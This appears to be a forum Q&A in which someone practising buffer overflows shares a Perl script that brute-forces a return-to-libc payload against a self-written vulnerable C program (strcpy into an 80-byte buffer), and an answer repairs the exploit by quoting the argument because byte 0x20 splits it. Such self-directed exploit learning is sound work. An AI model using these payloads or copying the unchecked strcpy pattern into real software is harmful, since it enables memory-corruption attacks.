Question

I am messing around with buffer overflows and I’m trying to execute a return into libc vulnerability. To aid me, I have devised the following perl script:

#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
    print "count: $i\n";
    system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf");
}

Here is the code I am targeting (./vuln):

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
    char buffer[80];
    printf("%d\n%s\n", strlen(argv[1]), argv[1]);
    getchar();
    strcpy(buffer, argv[1]);
    return 1;
}

And this is the output of the script:

count: 1
1
A
count: 2
2
AA
count: 3
3
AAA
count: 4
4
AAAA
count: 5
5
AAAAA

This indicates that no part of the last string concatenated (the one with lots of hex characters) is being successfully passed as an argument.

What am I doing wrong here?

Answer 1

try this:

system("echo 1 | ./vuln '" . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf'");

0x20 is space, so without the quotes everything after that is a separate argument.